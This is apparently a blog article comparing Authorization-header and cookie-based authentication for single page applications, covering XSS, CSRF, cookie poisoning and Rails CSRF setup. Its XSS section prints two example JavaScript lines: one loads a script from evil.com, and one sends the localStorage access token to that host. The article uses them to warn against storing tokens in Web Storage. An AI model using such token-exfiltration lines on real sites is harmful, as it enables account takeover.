Authentication in Single Page Application

988-authorisation-1.jpg

Each year Single Page Applications (SPA) become more and more widespread. And even if an application is not truly a SPA the amount of JavaScript-driven features continues to increase.

At some point, developers start to think about alternative ways to authentication. Either because they want simpler and more elegant approaches or they think that old and existing ones are not suitable for SPA.

Understanding the subject

Sometimes terms can be confusing. So let’s make it clear what we are talking about here.

authentication is the act of proving that something is genuine, real or true or the process or action of verifying the identity of a user or process. 
to authenticate is to prove or show something to be true, genuine, or valid or have one's identity verified. 
authorization is an official permission or power to do something; the act of giving permission or a document that gives somebody official permission to do something. 
to authorize is to give official permission for something, or for somebody to do something. 

Thus when we say authentication we talk about proving the authenticity of a user or a request. And we say authorization we talk about permissions or verification of such permissions.
 

Common attack vectors

There’s a plethora of attacks on web applications. We’ll focus on those which are directly related to authentication.

The list of common attacks on authentication mechanisms includes:

  • Bypass authentication
    • Cross-site Scripting (XSS)
    • Cross-site request forgery (CSRF)
  • Steal or forge authentication credentials
    • Cross-site Scripting (XSS)
    • Cookie spoofing via cookie overflow
    • Cookie forgery in HTTP to HTTPS redirect
  • Utilize application-specific or protocol-specific bugs in authentication implementations

Cross-site Scripting (XSS)

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites.

The two ways of implementing XSS are either injecting a script into server-stored data which is then rendered for a user (Stored aka Persited aka Type-I XSS) or injecting a script directly into a request (URL params for GET and body for POST) and forcing user to make the request (follow the link or submit a form) (Reflected aka Non-Persistent aka Type-|| XSS and DOM-based aka Type-0 XSS).

You can learn more about how XSS works and how to protect against it on https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) if you’re not familiar with this kind of attacks.

The most common answer regarding XSS goes like this: when you have an XSS on your site you’re done. It’s justified by the fact that XSS practically gives the full application privileges.

But not all XSS vulnerabilities are created equal. 

And there are two things we can assert:

  • the more sophisticated XSS attack the more code it requires.
  • severity depends on who are the first (user) and third (attacker) parties.

Severity vs. the amount of code

Making requests, creating phishing forms, etc. requires some amount of code. And XSS vulnerability doesn’t necessarily allow enough code to be injected to do anything useful. Though it’s possible to just load an external script with a line of JavaScript:

document.body.appendChild(document.createElement('script')).src = "http://evil.com/0.js"
Code language: JavaScript (javascript)

But it immediately requires more resources and effort to perform such an attack. The same goes for implementing complex logic which may require interaction with attacker’s server and additional server-side software.

That’s why the most severe case is when it’s possible to steal credentials with a line of code:

document.body.appendChild(new Image()).src = "http://evil.com/0.png?_=" + localStorage.getItem("accessToken")

Code language: JavaScript (javascript)

And that is why one should not store credentials in Web Storage.

By restricting the access to a specific IP (the token was issued for) and user-agent and issuing short-lived token using non-js-readable refresh token it’s possible to mitigate some attacks though it won’t help against an attacker with enough effort.

Severity vs. the responsibility scope

To perform an XSS attack a third-party should have any interest in doing so. And it’s not always the case for some kinds of applications.

Responsibility scope is the amount of responsibility a party has in regard to the application. Example scopes can be developers, administrators, moderators, users, guests, etc. It can be assumed that admins, developers, or other kinds of employees don’t, in general, have a direct interest in performing XSS attacks as they are paid by the application owner to keep the application in good shape.

For example, giving two scenarios, one where an admin can inject a script for any (or a particular) user and where a user can inject a script into an admin panel via user content, the latter is much more severe because a user can obtain admin-like access in the system whereas in the former case admins already have the control over user data and can do things without XSS.

An internal application behind a firewall and dedicated to a limited group of well-known users is quite a common case. For example, a CMS accessed by a dozen admins whereas the actual site with thousands of visitors is a separate read-only application (like a news site or blog). 

Responsibility scope should be taken into account when evaluating the severity of XSS in an application as it may affect the number of resources and effort and the overall architecture of the application.

Authorization header

Authorization header is an HTTP request header meant to provide access credentials in an HTTP request. The usage is the following:

Authorization: <credentials>
Code language: HTML, XML (xml)

Where credentials can be anything. Yes, the standard (https://tools.ietf.org/html/rfc7235#section-4.2) does not force you to specify the type or anything else. But to be compatible with other existing standards (for example, the Basic Authentication scheme, https://tools.ietf.org/html/rfc7617) it is commonly used and is strongly advised to use the following format:

Authorization: <type> <credentials>
Code language: HTML, XML (xml)

Some of the known and officially standardized types are: 

  • Basic (see RFC 7617, base64-encoded credentials)
  • Bearer (see RFC 6750, from OAuth 2.0 spec)
  • Digest (see RFC 7616)
  • HOBA (see RFC 7486 (draft), HTTP Origin-Bound Authentication, digital-signature-based)
  • Mutual (draft-ietf-httpauth-mutual)
  • AWS4-HMAC-SHA256 (AWS)

And the most common type which is used widely in OAuth 2.0 and vendor-specific implementations is Bearer token:

Authorization: Bearer <token>Code language: HTML, XML (xml)

When it’s used in a Single Page Application the token is usually stored in Web Storage (the common name of localStorage and sessionStorage).

Is it enough to use Authorization: Bearer <token> to stay secure?

Security is a very tough topic and it’s always hard to say if something is entirely secure or not. To be able to analyze the security of some or another approach we would have to make some assumptions and focus on the things which are directly related to the analyzed approach first.

So let's assume the following:

  • All tokens are cryptographically secure random strings or by other means, it’s impractical to guess or forge them (e.g. they are reliably encrypted).
  • All requests are sent via TLS/SSL connection (HTTPS) and can’t be eavesdropped.
  • All application logic and protocol implementations work as expected and any bugs are out of the scope of this article.

Though it’s always possible to break even strong cryptography it requires such an enormous amount of resources that we assume the attack against the aforementioned measures is completely impractical.

That being said some of the attacks not related to the topic can be excluded and it leaves the following to focus on:

  • Bypass authentication
    • Cross-site Scripting (XSS)
    • Cross-site request forgery (CSRF)
  • Steal or forge authentication credentials
    • Cross-site Scripting (XSS)
    • Cookie spoofing via cookie overflow

Because for now, we focus on Authentication header as the only authentication method we don’t care about cookies. So only XSS and CSRF are left.

Web Solutions

Authorization header and CSRF

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated.

You can read more about CSRF on https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) if you’re not familiar with this kind of attacks.

How do we know if a header can be forced along with an unwanted action? Gladfully there’s a standard which happens to describe exactly what can and can’t be done by a browser from another web application (cross-site). The standard of Cross-Origin Resource Sharing (CORS) contains a description of a “simple cross-origin request”.

A simple cross-origin request has been defined as congruent with those which may be generated by currently deployed user agents that do not conform to this specification.

Which means that it perfectly describes requests susceptible to CSRF attack. To save you from reading the whole spec, a simple cross-origin request is a request which uses only simple methods and simple headers.

Simple methods are GET, HEAD, POST.

Simple headers are Cache-Control, Content-Language, Expires, Last-Modified, Pragma, and additionally Content-Type of only application/x-www-form-urlencoded, multipart/form-data, or text/plain.

Authorization header is not in the list of simple headers. Thus a request with Authorization header is not a simple cross-origin request. And thus a request with Authorization header requires a preflight request by default. Only explicitly allowed origins are able to make such a request successfully (or the origin of the web application itself per same-origin policy). As long as you don’t add “Access-Control-Allow-Origin: *” to responses you’re safe from CSRF when using Authorization header.

CSRF

Authorization header and XSS
When Authorization header is used for authentication the credentials need to be stored somewhere and the storage needs to be JavaScript-accessible unless we want a user to login on each visit (page reload). So no matter the way we store it (Web Storage, Cookie, IndexedDB, etc.) the token is exposed to any JavaScript being executed and thus for any XSS as well. As we learned from XSS section of the article, it’s only plausible for specific kinds of applications where the severity of XSS itself if not very high.

XSS

If you have a small application for a well-known group of users then Authorization header is a nice and simple way. But if you need a higher level of security and you really care about your users’ data you’d need something stronger. 

Using Authorization header forces you to also use the Web Storage which wasn’t really designed as a secure storage for credentials. Think about The Android Keystore, Keychain on macOS and iOS, Credentials Manager on Windows. All of these provide means to protect an application’s credentials from unauthorized access. And so far, in the browser, there is only one read-secure credentials storage: a cookie with HttpOnly and Secure attributes.

Don’t get me wrong, it’s far from being as secure as aforementioned key storage systems, as, for example, it’s not encrypted on the disk and also anyone with the access to the browser can read all the cookies.

But it’s still a reliable way to provide website-level security: 

  • Protect credentials from other web applications;
  • Protect credentials from unauthorized access from within the web application;

Unfortunately, there is no write-secure storage yet in browsers. We’ll talk about the implications of this further below.

Cookie-based authentication

The most famous example of cookie-based authentication is sessions. It has been in use for decades and is still a de facto way to implement authentication for the majority of websites and web applications.

Cookie-based authentication works as following:

In response to login the server sends the Set-Cookie response header, for example:

Set-Cookie: access_token=ce073b61; HttpOnly; Secure; SameSite=strictCode language: JavaScript (javascript)

The browser remembers the cookie and automatically sends it in every subsequent request:

Cookie: access_token=ce073b61Code language: HTTP (http)

As long as the application is hosted under the same domain as the underlying API, it’s very easy to make use of cookies authentication in SPA. In its simplest you just do what a regular website would do to login, the server responds with a cookie and now all subsequent requests are authenticated.

What are the downsides of cookies?

Cookie is set for a particular domain. Applications which require interaction with multiple underlying API domains may require a more complex authentication logic.

What are the weaknesses of cookies?

  • Bypassing authentication (no need to read and/or write a cookie):
    • Vulnerable to CSRF attack by default;
  • Reading cookies:
    • Accessible from JavaScript if HttpOnly is omitted;
    • MITM on insecure HTTP connections if Secure is omitted;
  • Writing cookies (cookie poisoning):
    • Vulnerable to cookie-overflow attack;
    • Cookie with httpOnly attribute can be overridden from JavaScript;
    • Cookie without Secure attribute are still sent via HTTPS connections;
    • Cookie can be set by a forged insecure HTTP response;
    • Cookie can be set from deeper-nested domains to lower-nested domains (www.example.com can set a cookie for example.com);

What are the benefits of HttpOnly cookie?

Probably the only real benefit is that no website can read it (even the web application itself). That seems quite pathetic compared to all the weaknesses from above, but this benefit can be crucial for some applications which require higher-grade security. And remember, you can’t currently overcome the limitation of Web Storage (accessible to any JavaScript on the page) but it’s possible to defend against all the aforementioned cookie weaknesses although it comes with a cost of increased complexity.

Threat analysis

Bypassing authentication (CSRF)

In the section “Authorization header and CSRF” of the article, we were talking about the usage of custom headers to protect against CSRF. We can leverage the same technique with cookie-based authentication by adding a commonly used header (if your front-end framework/library doesn’t do so already):

X-Requested-With: XMLHttpRequestCode language: HTTP (http)

Of course, the server should require such a header to be present on all requests (or at least on non-idempotent requests). This, however, isn’t the most secure way to protect against CSRF. There have been known many vulnerabilities in Java and Flash which allowed custom headers to be sent. Nowadays it’s much more secure. But how do you know about an unknown vulnerability which is yet to be discovered?

Why custom header was enough in case of Authorization header?

The most important part of a reliable CSRF protection is a unique unguessable token required to be present on requests. With Authorization header, we get two for the price of one. It’s both authentication and a unique token. An attacker is not able to forge a cross-site request without knowing the token (and knowing the token is equal to session theft and in which case we are not talking about CSRF anymore). But with cookie-based authentication, the session or access token is sent automatically. So we need a separate token for CSRF protection.

You can utilize the built-in CSRF protection of your favorite framework. Usually, it is the synchronizer token pattern. It’s a unique per-session cryptographically-secure random string required to be present on non-idempotent requests.

It may seem a bit tricky in Single Page Applications since you don’t have a page reload each time a form is rendered (for a token to be included by the server). Also, the initial page itself may not be even served by a framework. Nowadays it’s quite popular to have a completely separate build process for the client-side part of the application using tools like web pack.

Is it safe to retrieve CSRF token via AJAX?

Thankfully due to the very nature of CSRF it is safe to get a CSRF token via AJAX. The nature of CSRF attack is that an attacker can make a request but can not read the result. Which means that whatever is the response, it is hidden from the attacker. Only the application itself can read it (or domains explicitly authorized via CORS).

Think about this from another perspective. If it wasn’t safe to retrieve a CSRF token via AJAX then what would stop an attacker from doing the exact same thing with regular non-SPA sites by just requesting a page with a form? CSRF protection relies on the fact that it’s not possible for an unauthorized party to read a response. Thus it doesn’t matter how you get the token: via a regular page render or via AJAX.

Reading cookies

Using HttpOnly attribute on a cookie prevents an XSS attack from reading the cookie. Which in turn prevents an attacker from stealing the credentials for offline attacks. Though XSS can do much more things, the distinction between online and offline attacks is important. We talked about that in the “Cross-site Scripting (XSS)” of the article.

Using Secure attribute on a cookie prevents the cookie to appear in insecure HTTP requests and in turn prevents MITM from reading the cookie. Though it only works together with HTTPS so you’d need a TLS/SSL certificate (gladfully there is Let’s Encrypt). Do not underestimate the importance of HTTPS! Passwordless Wi-Fi hotspots are everywhere nowadays so the field for the attack if quite wide.

Writing cookies (cookie poisoning)

Cookie poisoning is possible due to an imperfect design of cookies mechanisms in browsers (it’s not a bug). The way browsers send cookies leaves no way for a server to distinguish cookies for different paths and subdomains. All the cookies are sent a key-value list and that’s all. But browsers store cookies based on all of three values (domain, path, and name). This means that multiple cookies of the same name can exist in a browser and be sent to the server to trick it to use attacker’s cookie instead.

The most prominent example of cookie poisoning is replacing user’s active session with attacker’s one (session injection) and thus gathering all the user’s interaction with the application in a session the attacker has access to. It works equally well with any kind of access token stored in a cookie, not only sessions.

This can give the attacker unauthorized access to a user’s information which may lead to privacy violations and identity theft. Depending on the kind of information the application processes this can be as severe as credentials theft or a very minor threat.

For example, when cookie poisoning was discovered on GitHub (due to GitHub Pages site being hosted under the same domain as the main site) they considered it a minor issue and all that was possible through the vulnerability was to annoy users with logouts.

This attack has a very limited scope and probably is only applicable to something like online-banking where it can make any sense for a user to take action on attacker’s account (e.g. transferring money into it). So we’re not going to talk in depth about it right now.

Is Ruby on Rails suitable for modern SPA?

TL;DR Yes and no. It depends on what authentication mechanism you choose.

Sessions

Sessions are suitable for Single Page Applications. There’s nothing wrong in not actively sending an Authorization header and not handling the tokens yourself. Just POST /login with user credentials and then make AJAX requests like you usually do. Rails has build-in session management. But because sessions are cookie-based we need to take into account the things we talked about earlier.

The first thing you should remember is that sessions are not access tokens. People often treat sessions like access tokens and expect them to behave the same way. But sessions mechanism is different. A session lives its own life while the server can change its contents. A guest session can be promoted to user session by assigning a user to it and so on.

Always reset the session after any kind of privilege change (login, logout, etc.). In Rails it’s as simple as calling the reset_session method in a controller, for example:

def login
  reset_session
  # .. your login logic ...
end
Code language: PHP (php)

CSRF

Rails has built-in protection against CSRF by implementing Synchronizer Token and also using a bit of encryption to protect from attacks like BREACH. Without going into many details, each and every token is unique, but multiple (masked) tokens can be valid for a given session (where the raw token is stored) so that opening a new tab of the site doesn’t break older ones. It’s quite a nice secure solution.

If you render the initial page of the application with Rails then you can include the CSRF token on the page using build-in method, just include csrf_meta_tags in the template:

<head>
  <%= csrf_meta_tags %>
  <!-- ... other tags ... -->
</head>
Code language: HTML, XML (xml)

If you render the client-side application separately from the Rails backend you can create a separate action to get a token via AJAX by utilizing the method form_authenticity_token directly, for example:

class TokensController < ApplicationController
  def csrf
    render json: {
      csrf_token: form_authenticity_token
    }
  end
end
Code language: CSS (css)

Some JavaScript frameworks and libraries have client-side part of CSRF protection built-in. For example, jquery supports the aforementioned meta tags. 
Angular 1 and Angular 2+ support double-submit cookie pattern in Rails-compatible way. Angular expects to find a cookie named XSRF-TOKEN and will send its value in X-XSRF-TOKEN request header. Rails supports the header out-of-the-box. Which means it’s very easy to use Angular with Rails. You only need to provide the cookie in any response, for example:

class ApplicationController < ActionController::Base
  before_action do
    cookies['XSRF-TOKEN'] = form_authenticity_token unless cookies['XSRF-TOKEN']
  end
end

Code language: HTML, XML (xml)

Without any doubt, Rails can be used to provide secure authentication in SPA. It is suitable for SPA but wasn’t specifically suited for them.

You’d have to stick with sessions, which works automatically on client-side, and for CSRF protection Rails can be easily adjusted to fit SPA.

But If you were to use mere bearer tokens and Authorization header or to implement a simple secure well-suited authentication for SPA completely from scratch you would find there is not much to use from Rails (except for the essentials like router, controllers, and models). If you do not want to implement it yourself then stick with Rails, it’s fine.